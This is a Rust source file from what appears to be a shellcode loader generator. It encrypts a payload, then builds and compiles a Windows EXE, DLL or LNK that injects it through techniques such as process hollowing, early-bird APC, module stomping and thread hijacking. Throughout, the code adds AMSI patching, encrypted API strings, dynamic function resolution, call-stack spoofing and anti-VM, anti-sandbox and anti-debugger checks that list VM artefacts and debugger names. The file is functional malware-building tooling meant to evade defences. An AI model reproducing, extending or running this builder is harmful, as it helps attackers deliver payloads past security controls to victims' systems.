use std::fs;
 use std::io;
 use std::path::{Path, PathBuf};
 use std::process::Command;
 
 use crate::cli::{BinaryFormat, EncryptionKind, Technique};
 use crate::encryption::{create_encryptor, derive_key_bytes};
 
 use super::templates::generate_decrypt_code;
 use super::templates::techniques::TechniqueGenerator;
 
 fn get_technique_generator(technique: &Technique) -> Box<dyn TechniqueGenerator> {
     match technique {
         Technique::CRT => Box::new(super::templates::techniques::CRTGenerator),
         Technique::CRTx => Box::new(super::templates::techniques::CRTxGenerator),
         Technique::EnumCalendar => Box::new(super::templates::techniques::EnumCalendarGenerator),
         Technique::EnumWindows => Box::new(super::templates::techniques::EnumWindowsGenerator),
         Technique::EnumSystemLocales => {
             Box::new(super::templates::techniques::EnumSystemLocalesGenerator)
         }
         Technique::ImageGetDigestStream => {
             Box::new(super::templates::techniques::ImageGetDigestStreamGenerator)
         }
         Technique::CreateFiber => Box::new(super::templates::techniques::CreateFiberGenerator),
         Technique::Etwp => Box::new(super::templates::techniques::EtwpGenerator),
         Technique::FairyLaw => Box::new(super::templates::techniques::FairyLawGenerator),
         Technique::NtCreateThreadEx => {
             Box::new(super::templates::techniques::NtCreateThreadExGenerator)
         }
         Technique::ProcessHollowing => {
             Box::new(super::templates::techniques::ProcessHollowingGenerator)
         }
         Technique::QueueUserAPC => Box::new(super::templates::techniques::QueueUserAPCGenerator),
         Technique::SetTimer => Box::new(super::templates::techniques::SetTimerGenerator),
         Technique::Syscall => Box::new(super::templates::techniques::SyscallGenerator),
         Technique::ModuleStomping => {
             Box::new(super::templates::techniques::ModuleStompingGenerator)
         }
         Technique::ThreadHijacking => {
             Box::new(super::templates::techniques::ThreadHijackingGenerator)
         }
         Technique::EarlyBird => Box::new(super::templates::techniques::EarlyBirdGenerator),
         Technique::CreateThread => panic!("CreateThread not implemented"),
     }
 }
 pub struct BuildConfig<'a> {
     pub project_name: &'a str,
     pub output_name: &'a str,
     pub original_cwd: &'a Path,
     pub shellcode_data: &'a [u8],
     pub binary_format: &'a BinaryFormat,
     pub encryption_kind: Option<&'a EncryptionKind>,
     pub encryption_key: Option<&'a str>,
     pub technique: &'a Technique,
     pub process: &'a str,
     pub with_api_hammering: bool,
     pub with_amsi_patch: bool,
     pub with_string_encryption: bool,
     pub with_dynamic_function_resolver: bool,
     pub with_anti_vm: bool,
     pub with_anti_sandbox: bool,
     pub with_anti_debugger: bool,
     pub with_callstack_spoofing: bool,
     pub low_resources: bool,
 }
 
 pub struct BuildEnv<'a> {
     project_name: Option<&'a str>,
     output_name: Option<&'a str>,
     original_cwd: Option<&'a Path>,
     shellcode_data: Option<&'a [u8]>,
     binary_format: Option<&'a BinaryFormat>,
     encryption_kind: Option<&'a EncryptionKind>,
     encryption_key: Option<&'a str>,
     technique: Option<&'a Technique>,
     process: Option<&'a str>,
     with_api_hammering: bool,
     with_amsi_patch: bool,
     with_string_encryption: bool,
     with_dynamic_function_resolver: bool,
     with_anti_vm: bool,
     with_anti_sandbox: bool,
     with_anti_debugger: bool,
     with_callstack_spoofing: bool,
     low_resources: bool,
 }
 
 impl<'a> BuildEnv<'a> {
     pub fn new() -> Self {
         Self {
             project_name: None,
             output_name: None,
             original_cwd: None,
             shellcode_data: None,
             binary_format: None,
             encryption_kind: None,
             encryption_key: None,
             technique: None,
             process: None,
             with_api_hammering: false,
             with_amsi_patch: false,
             with_string_encryption: false,
             with_dynamic_function_resolver: false,
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
             with_callstack_spoofing: false,
             low_resources: false,
         }
     }
 
     pub fn with_project_name(mut self, name: &'a str) -> Self {
         self.project_name = Some(name);
         self
     }
 
     pub fn with_output_name(mut self, name: &'a str) -> Self {
         self.output_name = Some(name);
         self
     }
 
     pub fn with_original_cwd(mut self, cwd: &'a Path) -> Self {
         self.original_cwd = Some(cwd);
         self
     }
 
     pub fn with_shellcode(mut self, data: &'a [u8]) -> Self {
         self.shellcode_data = Some(data);
         self
     }
 
     pub fn with_binary_format(mut self, format: &'a BinaryFormat) -> Self {
         self.binary_format = Some(format);
         self
     }
 
     pub fn with_encryption(mut self, kind: &'a EncryptionKind, key: &'a str) -> Self {
         self.encryption_kind = Some(kind);
         self.encryption_key = Some(key);
         self
     }
 
     pub fn with_technique(mut self, technique: &'a Technique) -> Self {
         self.technique = Some(technique);
         self
     }
 
     pub fn with_process(mut self, process: &'a str) -> Self {
         self.process = Some(process);
         self
     }
 
     pub fn with_api_hammering(mut self, enabled: bool) -> Self {
         self.with_api_hammering = enabled;
         self
     }
 
     pub fn with_amsi_patch(mut self, enabled: bool) -> Self {
         self.with_amsi_patch = enabled;
         self
     }
 
     pub fn with_string_encryption(mut self, enabled: bool) -> Self {
         self.with_string_encryption = enabled;
         self
     }
 
     pub fn with_dynamic_function_resolver(mut self, enabled: bool) -> Self {
         self.with_dynamic_function_resolver = enabled;
         self
     }
 
     pub fn with_anti_vm(mut self, enabled: bool) -> Self {
         self.with_anti_vm = enabled;
         self
     }
 
     pub fn with_anti_sandbox(mut self, enabled: bool) -> Self {
         self.with_anti_sandbox = enabled;
         self
     }
 
     pub fn with_anti_debugger(mut self, enabled: bool) -> Self {
         self.with_anti_debugger = enabled;
         self
     }
 
     pub fn with_callstack_spoofing(mut self, enabled: bool) -> Self {
         self.with_callstack_spoofing = enabled;
         self
     }
 
     pub fn with_low_resources(mut self, enabled: bool) -> Self {
         self.low_resources = enabled;
         self
     }
 
     pub fn build(self) -> io::Result<PathBuf> {
         let project_name = self
             .project_name
             .ok_or_else(|| io::Error::other("Project name is required"))?;
         let output_name = self
             .output_name
             .ok_or_else(|| io::Error::other("Output name is required"))?;
         let original_cwd = self
             .original_cwd
             .ok_or_else(|| io::Error::other("Original working directory is required"))?;
         let shellcode_data = self
             .shellcode_data
             .ok_or_else(|| io::Error::other("Shellcode data is required"))?;
         let binary_format = self
             .binary_format
             .ok_or_else(|| io::Error::other("Binary format is required"))?;
         let technique = self
             .technique
             .ok_or_else(|| io::Error::other("Technique is required"))?;
         let process = self
             .process
             .ok_or_else(|| io::Error::other("Process is required"))?;
 
         let config = BuildConfig {
             project_name,
             output_name,
             original_cwd,
             shellcode_data,
             binary_format,
             encryption_kind: self.encryption_kind,
             encryption_key: self.encryption_key,
             technique,
             process,
             with_api_hammering: self.with_api_hammering,
             with_amsi_patch: self.with_amsi_patch,
             with_string_encryption: self.with_string_encryption,
             with_dynamic_function_resolver: self.with_dynamic_function_resolver,
             with_anti_vm: self.with_anti_vm,
             with_anti_sandbox: self.with_anti_sandbox,
             with_anti_debugger: self.with_anti_debugger,
             with_callstack_spoofing: self.with_callstack_spoofing,
             low_resources: self.low_resources,
         };
 
         setup_and_build_project(&config)
     }
 }
 
 impl Default for BuildEnv<'_> {
     fn default() -> Self {
         Self::new()
     }
 }
 
 pub fn init_rust_project(config: &BuildConfig) -> io::Result<()> {
     init_rust_project_with_target(config)
 }
 
 fn init_rust_project_with_target(config: &BuildConfig) -> io::Result<()> {
     let (encrypted_shellcode, encryption_type_str, key_bytes) = prepare_shellcode_encryption(
         config.shellcode_data,
         config.encryption_kind,
         config.encryption_key,
     )?;
 
     write_cargo_toml(
         config.project_name,
         config.binary_format,
         encryption_type_str,
         config.with_dynamic_function_resolver,
         config.with_callstack_spoofing,
         config.low_resources,
     )?;
     write_cargo_config(config.low_resources)?;
 
     fs::create_dir_all("src")?;
 
     let internals_source = generate_internals_with_crypto_and_strings(
         encryption_type_str,
         config.with_string_encryption,
         config.with_dynamic_function_resolver,
     )?;
     let source_code = generate_source_code(SourceCodeParams {
         binary_format: config.binary_format,
         internals_source: &internals_source,
         encryption: EncryptionParams {
             encrypted_shellcode: &encrypted_shellcode,
             key_bytes: &key_bytes,
             encryption_type: encryption_type_str,
         },
         technique_params: TechniqueParams {
             technique: config.technique,
             process: config.process,
         },
         with_api_hammering: config.with_api_hammering,
         with_amsi_patch: config.with_amsi_patch,
         with_string_encryption: config.with_string_encryption,
         with_dynamic_function_resolver: config.with_dynamic_function_resolver,
         with_anti_vm: config.with_anti_vm,
         with_anti_sandbox: config.with_anti_sandbox,
         with_anti_debugger: config.with_anti_debugger,
         with_callstack_spoofing: config.with_callstack_spoofing,
         encryption_kind: config.encryption_kind,
         encryption_key: config.encryption_key,
     })?;
 
     let file_name = match config.binary_format {
         BinaryFormat::Exe => "src/main.rs",
         BinaryFormat::Dll => "src/lib.rs",
         BinaryFormat::Lnk => return Ok(()), // LNK doesn't need source file
     };
 
     fs::write(file_name, source_code)?;
 
     Ok(())
 }
 
 fn prepare_shellcode_encryption(
     shellcode_data: &[u8],
     encryption_kind: Option<&EncryptionKind>,
     encryption_key: Option<&str>,
 ) -> io::Result<(Vec<u8>, &'static str, Vec<u8>)> {
     match (encryption_kind, encryption_key) {
         (Some(kind), Some(key)) => {
             let encryptor = create_encryptor(kind.clone(), key);
             let encrypted = encryptor
                 .encrypt(shellcode_data)
                 .map_err(|e| io::Error::other(format!("Encryption failed: {}", e)))?;
 
             let type_str = encryption_kind_to_string(kind);
             let key_data = derive_key_bytes(key, kind);
             Ok((encrypted, type_str, key_data))
         }
         (None, None) => Err(io::Error::other(
             "Encryption is required: both encryption kind and key must be provided",
         )),
         (Some(_), None) => Err(io::Error::other(
             "Encryption key is missing: both encryption kind and key must be provided together",
         )),
         (None, Some(_)) => Err(io::Error::other(
             "Encryption kind is missing: both encryption kind and key must be provided together",
         )),
     }
 }
 
 fn encryption_kind_to_string(kind: &EncryptionKind) -> &'static str {
     match kind {
         EncryptionKind::AES => "aes",
         EncryptionKind::AES256 => "aes256",
         EncryptionKind::Chacha20 => "chacha20",
         EncryptionKind::XOR => "xor",
         EncryptionKind::Blowfish => "blowfish",
         EncryptionKind::Twofish => "twofish",
         EncryptionKind::Camellia => "camellia",
     }
 }
 
 fn write_cargo_toml(
     project_name: &str,
     binary_format: &BinaryFormat,
     encryption_type: &str,
     with_dynamic_resolver: bool,
     with_callstack_spoofing: bool,
     low_resources: bool,
 ) -> io::Result<()> {
     use super::templates::{BuildProfile, CargoConfigGenerator, DllGenerator, ExeGenerator};
 
     let dependencies = super::dependencies::get_dependencies(
         encryption_type,
         with_dynamic_resolver,
         with_callstack_spoofing,
     )
     .map_err(io::Error::other)?;
 
     let profile = if low_resources {
         BuildProfile::LowResource
     } else {
         BuildProfile::Standard
     };
 
     let cargo_toml = match binary_format {
         BinaryFormat::Exe => {
             ExeGenerator::new(profile).generate_cargo_toml(project_name, &dependencies)
         }
         BinaryFormat::Dll => {
             DllGenerator::new(profile).generate_cargo_toml(project_name, &dependencies)
         }
         BinaryFormat::Lnk => return Ok(()),
     };
     fs::write("Cargo.toml", cargo_toml)
 }
 
 fn write_cargo_config(low_resources: bool) -> io::Result<()> {
     use super::templates::{BuildProfile, CargoConfigGenerator, ExeGenerator};
 
     fs::create_dir_all(".cargo")?;
 
     let profile = if low_resources {
         BuildProfile::LowResource
     } else {
         BuildProfile::Standard
     };
 
     let cargo_config = ExeGenerator::new(profile).generate_cargo_config();
     fs::write(".cargo/config.toml", cargo_config)
 }
 
 fn generate_internals_with_crypto_and_strings(
     encryption_type: &str,
     with_string_encryption: bool,
     with_dynamic_resolver: bool,
 ) -> io::Result<String> {
     super::templates::generate_internals_with_api_resolver(
         encryption_type,
         with_string_encryption,
         with_dynamic_resolver,
     )
     .map_err(io::Error::other)
 }
 
 struct EncryptionParams<'a> {
     encrypted_shellcode: &'a [u8],
     key_bytes: &'a [u8],
     encryption_type: &'a str,
 }
 
 struct TechniqueParams<'a> {
     technique: &'a Technique,
     process: &'a str,
 }
 
 struct SourceCodeParams<'a> {
     binary_format: &'a BinaryFormat,
     internals_source: &'a str,
     encryption: EncryptionParams<'a>,
     technique_params: TechniqueParams<'a>,
     with_api_hammering: bool,
     with_amsi_patch: bool,
     with_string_encryption: bool,
     with_dynamic_function_resolver: bool,
     with_anti_vm: bool,
     with_anti_sandbox: bool,
     with_anti_debugger: bool,
     with_callstack_spoofing: bool,
     encryption_kind: Option<&'a EncryptionKind>,
     encryption_key: Option<&'a str>,
 }
 
 fn create_string_obfuscator<'a>(
     params: &'a SourceCodeParams,
 ) -> io::Result<Box<dyn super::templates::StringObfuscation + 'a>> {
     if !params.with_string_encryption {
         return Ok(Box::new(super::templates::NoObfuscation));
     }
 
     // Note: This is a placeholder for future string encryption needs (e.g., API names)
     // Currently no strings are encrypted in the template, but the infrastructure is ready
     Ok(Box::new(super::templates::NoObfuscation))
 }
 
 fn generate_amsi_patch_with_encryption(
     encryption_kind: &EncryptionKind,
     encryption_key: &str,
     encryption_type: &str,
     with_string_encryption: bool,
     with_dynamic_function_resolver: bool,
 ) -> io::Result<String> {
     if !with_string_encryption && !with_dynamic_function_resolver {
         return Ok(super::templates::generate_amsi_patch_code());
     }
 
     let amsi_dll_str = "amsi.dll";
     let amsi_scan_buffer_str = "AmsiScanBuffer";
 
     let key = encryption_key;
     let encryptor = create_encryptor(encryption_kind.clone(), key);
 
     let encrypted_dll = encryptor
         .encrypt(amsi_dll_str.as_bytes())
         .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
     let encrypted_func = encryptor
         .encrypt(amsi_scan_buffer_str.as_bytes())
         .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
 
     let key_bytes = derive_key_bytes(key, encryption_kind);
 
     let dll_array = format_bytes_as_array(&encrypted_dll);
     let func_array = format_bytes_as_array(&encrypted_func);
     let key_array = format_bytes_as_array(&key_bytes);
 
     let decrypt_fn = match encryption_type {
         "xor" => "internals::decrypt_xor",
         "aes" => "internals::decrypt_aes",
         "chacha20" => "internals::decrypt_chacha20",
         "blowfish" => "internals::decrypt_blowfish",
         _ => {
             return Err(io::Error::other(format!(
                 "Unknown encryption type: {}",
                 encryption_type
             )))
         }
     };
 
     let expect_clause = if encryption_type == "xor" {
         ""
     } else {
         ".expect(\"Failed to decrypt AMSI strings\")"
     };
 
     if with_dynamic_function_resolver {
         // Encrypt the DLL and function names
         let load_library_dll_encrypted = encryptor
             .encrypt("kernel32.dll".as_bytes())
             .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
         let load_library_fn_encrypted = encryptor
             .encrypt("LoadLibraryA".as_bytes())
             .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
 
         let get_proc_address_dll_encrypted = encryptor
             .encrypt("kernel32.dll".as_bytes())
             .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
         let get_proc_address_fn_encrypted = encryptor
             .encrypt("GetProcAddress".as_bytes())
             .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
 
         let virtual_protect_dll_encrypted = encryptor
             .encrypt("kernel32.dll".as_bytes())
             .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
         let virtual_protect_fn_encrypted = encryptor
             .encrypt("VirtualProtect".as_bytes())
             .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
 
         let load_library_resolver = super::templates::generate_dynamic_function_resolver(
             "kernel32.dll",
             "LoadLibraryA",
             encryption_type,
             "load_library_a",
             "DECRYPTION_KEY",
             &load_library_dll_encrypted,
             &load_library_fn_encrypted,
         )
         .map_err(io::Error::other)?;
 
         let get_proc_address_resolver = super::templates::generate_dynamic_function_resolver(
             "kernel32.dll",
             "GetProcAddress",
             encryption_type,
             "get_proc_address",
             "DECRYPTION_KEY",
             &get_proc_address_dll_encrypted,
             &get_proc_address_fn_encrypted,
         )
         .map_err(io::Error::other)?;
 
         let virtual_protect_resolver = super::templates::generate_dynamic_function_resolver(
             "kernel32.dll",
             "VirtualProtect",
             encryption_type,
             "virtual_protect",
             "DECRYPTION_KEY",
             &virtual_protect_dll_encrypted,
             &virtual_protect_fn_encrypted,
         )
         .map_err(io::Error::other)?;
 
         let load_library_cast = super::templates::generate_function_type_and_cast(
             "load_library_a",
             "unsafe extern \"system\" fn(*const u8) -> *mut std::ffi::c_void",
         );
 
         let get_proc_address_cast = super::templates::generate_function_type_and_cast(
             "get_proc_address",
             "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const u8) -> *mut std::ffi::c_void"
         );
 
         let virtual_protect_cast = super::templates::generate_function_type_and_cast(
             "virtual_protect",
             "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *mut u32) -> i32",
         );
 
         let dll_resolver = format!(
             r#"const ENCRYPTED_AMSI_DLL: &[u8] = &{};
         let amsi_dll_decrypted = {}(ENCRYPTED_AMSI_DLL, &DECRYPTION_KEY){};"#,
             dll_array, decrypt_fn, expect_clause
         );
 
         let func_resolver = format!(
             r#"const ENCRYPTED_AMSI_FUNC: &[u8] = &{};
         let amsi_func_decrypted = {}(ENCRYPTED_AMSI_FUNC, &DECRYPTION_KEY){};"#,
             func_array, decrypt_fn, expect_clause
         );
 
         Ok(
             super::templates::generate_amsi_patch_code_with_dynamic_resolver(
                 super::templates::AmsiDynamicResolverParams {
                     dll_resolver: &dll_resolver,
                     func_resolver: &func_resolver,
                     load_library_resolver: &load_library_resolver,
                     load_library_cast: &load_library_cast,
                     get_proc_address_resolver: &get_proc_address_resolver,
                     get_proc_address_cast: &get_proc_address_cast,
                     virtual_protect_resolver: &virtual_protect_resolver,
                     virtual_protect_cast: &virtual_protect_cast,
                 },
             ),
         )
     } else {
         Ok(
             super::templates::generate_amsi_patch_code_with_string_encryption(
                 &dll_array,
                 &func_array,
                 &key_array,
                 decrypt_fn,
                 expect_clause,
             ),
         )
     }
 }
 
 fn encrypt_string_for_evasion(
     s: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> io::Result<String> {
     let encrypted = encryptor
         .encrypt(s.as_bytes())
         .map_err(|e| io::Error::other(format!("Failed to encrypt string: {}", e)))?;
     Ok(format_bytes_as_array(&encrypted))
 }
 
 const SANDBOX_CHECK_PATH: &str = "C:\\Windows\\System32";
 
 fn generate_evasion_code_with_encryption(
     params: &SourceCodeParams,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> io::Result<String> {
     let mut evasion_code = String::new();
     evasion_code.push_str(&crate::evasion::generate_evasion_externs());
 
     let decrypt_fn = super::templates::get_decrypt_function(params.encryption.encryption_type)
         .map_err(io::Error::other)?;
     let expect_clause = super::templates::get_expect_clause(params.encryption.encryption_type);
 
     if params.with_anti_vm {
         let vm_dlls = [
             "vmGuestLib.dll\0",
             "vboxmrxnp.dll\0",
             "VBoxHook.dll\0",
             "vmmouse.sys\0",
             "vmhgfs.dll\0",
         ];
         let vm_dll_arrays: Vec<String> = vm_dlls
             .iter()
             .map(|s| encrypt_string_for_evasion(s, encryptor))
             .collect::<Result<Vec<_>, _>>()?;
 
         let vm_registry_keys = [
             r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest",
             r"HKLM\SYSTEM\ControlSet001\Services\VBoxMouse",
             r"HKLM\SYSTEM\ControlSet001\Services\VBoxService",
             r"HKLM\SYSTEM\ControlSet001\Services\vmtools",
             r"HKLM\SYSTEM\ControlSet001\Services\vmmouse",
             r"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
         ];
         let vm_registry_arrays: Vec<String> = vm_registry_keys
             .iter()
             .map(|s| encrypt_string_for_evasion(s, encryptor))
             .collect::<Result<Vec<_>, _>>()?;
 
         let vm_processes = [
             "vmtoolsd.exe",
             "vmwaretray.exe",
             "vmwareuser.exe",
             "VGAuthService.exe",
             "vmacthlp.exe",
             "vboxservice.exe",
             "vboxtray.exe",
             "xenservice.exe",
             "qemu-ga.exe",
         ];
         let vm_process_arrays: Vec<String> = vm_processes
             .iter()
             .map(|s| encrypt_string_for_evasion(s, encryptor))
             .collect::<Result<Vec<_>, _>>()?;
 
         let vm_vendors = ["vmware", "virtualbox", "qemu", "xen", "hyper-v"];
         let vm_vendor_arrays: Vec<String> = vm_vendors
             .iter()
             .map(|s| encrypt_string_for_evasion(s, encryptor))
             .collect::<Result<Vec<_>, _>>()?;
 
         evasion_code.push_str(&crate::evasion::anti_vm_checks_with_encryption(
             &vm_dll_arrays,
             &vm_registry_arrays,
             &vm_process_arrays,
             &vm_vendor_arrays,
             decrypt_fn,
             expect_clause,
         ));
     }
 
     if params.with_anti_sandbox {
         let file_path_array = encrypt_string_for_evasion(SANDBOX_CHECK_PATH, encryptor)?;
         evasion_code.push_str(&crate::evasion::anti_sandbox_checks_with_encryption(
             &file_path_array,
             decrypt_fn,
             expect_clause,
         ));
     }
 
     if params.with_anti_debugger {
         let debugger_parents = [
             "devenv.exe",
             "windbg.exe",
             "x64dbg.exe",
             "ollydbg.exe",
             "ida64.exe",
         ];
         let debugger_parent_arrays: Vec<String> = debugger_parents
             .iter()
             .map(|s| encrypt_string_for_evasion(s, encryptor))
             .collect::<Result<Vec<_>, _>>()?;
 
         evasion_code.push_str(&crate::evasion::anti_debugger_checks_with_encryption(
             &debugger_parent_arrays,
             decrypt_fn,
             expect_clause,
         ));
     }
 
     Ok(evasion_code)
 }
 
 fn generate_source_code(params: SourceCodeParams) -> io::Result<String> {
     let shellcode_array = format_bytes_as_array(params.encryption.encrypted_shellcode);
     let key_array = if !params.encryption.key_bytes.is_empty() {
         format_bytes_as_array(params.encryption.key_bytes)
     } else {
         "[]".to_string()
     };
     let decrypt_code = generate_decrypt_code(params.encryption.encryption_type);
 
     let function_name = super::templates::generate_random_function_name();
 
     let generator = get_technique_generator(params.technique_params.technique);
 
     let technique_code = if params.with_dynamic_function_resolver {
         if let (Some(encryption_kind), Some(encryption_key)) =
             (params.encryption_kind, params.encryption_key)
         {
             let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
             generator.generate_code_with_dynamic_resolver(
                 params.technique_params.process,
                 &function_name,
                 params.encryption.encryption_type,
                 encryptor.as_ref(),
             )
         } else {
             return Err(io::Error::other(
                 "Encryption kind and key required for dynamic function resolver",
             ));
         }
     } else if params.with_api_hammering {
         generator.generate_code_with_hammering(params.technique_params.process, &function_name)
     } else {
         generator.generate_code(params.technique_params.process, &function_name)
     };
 
     let technique_code = generator.add_debug_context(technique_code);
 
     if let Err(errors) = generator.validate_generated_code(&technique_code) {
         let error_messages: Vec<String> = errors.iter().map(|e| e.to_string()).collect();
         return Err(io::Error::other(format!(
             "Generated code validation failed for technique '{}': {}",
             generator.name(),
             error_messages.join("; ")
         )));
     }
 
     let string_obfuscator = create_string_obfuscator(&params)?;
 
     let amsi_patch_code = if params.with_amsi_patch {
         if let (Some(encryption_kind), Some(encryption_key)) =
             (params.encryption_kind, params.encryption_key)
         {
             generate_amsi_patch_with_encryption(
                 encryption_kind,
                 encryption_key,
                 params.encryption.encryption_type,
                 params.with_string_encryption,
                 params.with_dynamic_function_resolver,
             )?
         } else {
             super::templates::generate_amsi_patch_code()
         }
     } else {
         String::new()
     };
 
     let evasion_code =
         if params.with_anti_vm || params.with_anti_sandbox || params.with_anti_debugger {
             if params.with_string_encryption {
                 if let (Some(encryption_kind), Some(encryption_key)) =
                     (params.encryption_kind, params.encryption_key)
                 {
                     let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
                     generate_evasion_code_with_encryption(&params, encryptor.as_ref())?
                 } else {
                     return Err(io::Error::other(
                         "Encryption kind and key required for evasion string encryption",
                     ));
                 }
             } else {
                 let mut code = String::new();
                 code.push_str(&crate::evasion::generate_evasion_externs());
                 if params.with_anti_vm {
                     code.push_str(&crate::evasion::anti_vm_checks());
                 }
                 if params.with_anti_sandbox {
                     code.push_str(&crate::evasion::anti_sandbox_checks());
                 }
                 if params.with_anti_debugger {
                     code.push_str(&crate::evasion::anti_debugger_checks());
                 }
                 code
             }
         } else {
             String::new()
         };
 
     let template_config = super::templates::TemplateConfig::builder()
         .internals_source(params.internals_source)
         .shellcode_array(&shellcode_array)
         .key_array(&key_array)
         .decrypt_code(&decrypt_code)
         .technique_code(&technique_code)
         .technique_function_name(&function_name)
         .with_api_hammering(params.with_api_hammering)
         .with_amsi_patch(params.with_amsi_patch)
         .with_string_encryption(params.with_string_encryption)
         .with_dynamic_function_resolver(params.with_dynamic_function_resolver)
         .with_anti_vm(params.with_anti_vm)
         .with_anti_sandbox(params.with_anti_sandbox)
         .with_anti_debugger(params.with_anti_debugger)
         .with_callstack_spoofing(params.with_callstack_spoofing)
         .encryption_type(params.encryption.encryption_type)
         .amsi_patch_code(&amsi_patch_code)
         .evasion_code(&evasion_code)
         .string_obfuscator(string_obfuscator)
         .build();
 
     Ok(match params.binary_format {
         BinaryFormat::Exe => super::templates::generate_exe_main_template(&template_config),
         BinaryFormat::Dll => super::templates::generate_dll_lib_template(&template_config),
         BinaryFormat::Lnk => String::new(), // LNK doesn't need source code
     })
 }
 
 fn format_bytes_as_array(bytes: &[u8]) -> String {
     if bytes.is_empty() {
         return "[]".to_string();
     }
 
     use std::fmt::Write;
     let mut result = String::with_capacity(bytes.len() * 6 + 2);
     result.push('[');
 
     for (i, byte) in bytes.iter().enumerate() {
         if i > 0 {
             result.push_str(", ");
         }
         write!(result, "0x{:02x}", byte).unwrap();
     }
 
     result.push(']');
     result
 }
 
 /// Verify that a binary was built successfully
 ///
 /// Uses the goblin crate to parse and verify the binary format.
 /// With Cargo's profile.release.strip = true, binaries are automatically
 /// stripped during compilation, so no post-processing is needed.
 ///
 /// Works cross-platform (Linux/ELF, macOS/Mach-O, Windows/PE).
 ///
 /// # Arguments
 ///
 /// * `binary_path` - Path to the binary to verify
 ///
 /// Returns `Ok(())` if the binary is valid, otherwise returns an error.
 pub fn verify_binary(binary_path: &Path) -> io::Result<()> {
     let binary_data = fs::read(binary_path)?;
 
     goblin::Object::parse(&binary_data)
         .map_err(|e| io::Error::other(format!("Failed to parse binary: {}", e)))?;
 
     Ok(())
 }
 
 /// Build the Rust project in release mode
 ///
 /// Executes `cargo build --release` in the current directory.
 /// The compiled binary will be in `target/release/`.
 ///
 /// # Arguments
 ///
 /// * `project_name` - The name of the project (used to find the binary)
 /// * `binary_format` - The binary format (EXE or DLL)
 ///
 /// Returns the path to the compiled binary if successful, otherwise returns an error.
 pub fn build_release(project_name: &str, binary_format: &BinaryFormat) -> io::Result<PathBuf> {
     // LNK files are generated directly, no build needed
     if matches!(binary_format, BinaryFormat::Lnk) {
         return Ok(PathBuf::from(format!("{}.lnk", project_name)));
     }
 
     let output = Command::new("cargo")
         .arg("build")
         .arg("--release")
         .output()?;
 
     if !output.status.success() {
         let stderr = String::from_utf8_lossy(&output.stderr);
         return Err(io::Error::other(format!("cargo build failed: {}", stderr)));
     }
 
     let has_windows_target = Path::new(".cargo/config.toml").exists();
 
     let binary_name = if has_windows_target {
         match binary_format {
             BinaryFormat::Exe => format!("{}.exe", project_name),
             BinaryFormat::Dll => format!("{}.dll", project_name),
             BinaryFormat::Lnk => format!("{}.lnk", project_name),
         }
     } else {
         match binary_format {
             BinaryFormat::Exe => {
                 if cfg!(target_os = "windows") {
                     format!("{}.exe", project_name)
                 } else {
                     project_name.to_string()
                 }
             }
             BinaryFormat::Dll => {
                 if cfg!(target_os = "windows") {
                     format!("{}.dll", project_name)
                 } else if cfg!(target_os = "macos") {
                     format!("lib{}.dylib", project_name)
                 } else {
                     format!("lib{}.so", project_name)
                 }
             }
             BinaryFormat::Lnk => format!("{}.lnk", project_name),
         }
     };
 
     let binary_path = if has_windows_target {
         PathBuf::from("target")
             .join("x86_64-pc-windows-gnu")
             .join("release")
             .join(&binary_name)
     } else {
         PathBuf::from("target").join("release").join(&binary_name)
     };
 
     if !binary_path.exists() {
         return Err(io::Error::new(
             io::ErrorKind::NotFound,
             format!("Binary not found at {:?}", binary_path),
         ));
     }
 
     Ok(binary_path)
 }
 
 /// Copy a binary to a target location with a specific name
 ///
 /// # Arguments
 ///
 /// * `source` - Path to the source binary
 /// * `dest_dir` - Directory where the binary should be copied
 /// * `dest_name` - Name for the copied binary
 ///
 /// Returns the path to the copied binary if successful, otherwise returns an error.
 pub fn copy_binary(source: &Path, dest_dir: &Path, dest_name: &str) -> io::Result<PathBuf> {
     let dest_path = dest_dir.join(dest_name);
     fs::copy(source, &dest_path)?;
 
     Ok(dest_path)
 }
 
 /// Complete workflow: initialize, build, and copy a Rust project
 ///
 /// This is the main entry point that orchestrates the entire process:
 /// 1. Initializes a Rust project with release profile configured for stripping
 /// 2. Builds it in release mode (symbols are automatically stripped by Cargo)
 /// 3. Verifies the binary is valid
 /// 4. Copies the binary to the original working directory with the specified name
 ///
 /// Note: Symbol stripping is handled by Cargo's profile.release.strip = true setting,
 /// so binaries are automatically stripped during compilation without needing post-processing.
 ///
 /// # Arguments
 ///
 /// * `config` - Build configuration containing all necessary parameters
 ///
 /// Returns the path to the final binary if successful, otherwise returns an error.
 pub fn setup_and_build_project(config: &BuildConfig) -> io::Result<PathBuf> {
     if matches!(config.binary_format, BinaryFormat::Lnk) {
         let (encrypted_shellcode, _encryption_type_str, _key_bytes) = prepare_shellcode_encryption(
             config.shellcode_data,
             config.encryption_kind,
             config.encryption_key,
         )?;
 
         let lnk_path = std::env::current_dir()?.join(config.output_name);
 
         let default_encryption = EncryptionKind::XOR;
         let encryption_kind = config.encryption_kind.unwrap_or(&default_encryption);
         let encryption_key = config.encryption_key.unwrap_or("default_key");
 
         crate::internals::lnk_generator::generate_lnk_file(
             &encrypted_shellcode,
             &lnk_path,
             encryption_kind,
             config.technique,
             encryption_key,
             config.process,
         )?;
 
         let final_path = copy_binary(&lnk_path, config.original_cwd, config.output_name)?;
         Ok(final_path)
     } else {
         init_rust_project(config)?;
         let binary_path = build_release(config.project_name, config.binary_format)?;
         verify_binary(&binary_path)?;
         let final_path = copy_binary(&binary_path, config.original_cwd, config.output_name)?;
         Ok(final_path)
     }
 }
 
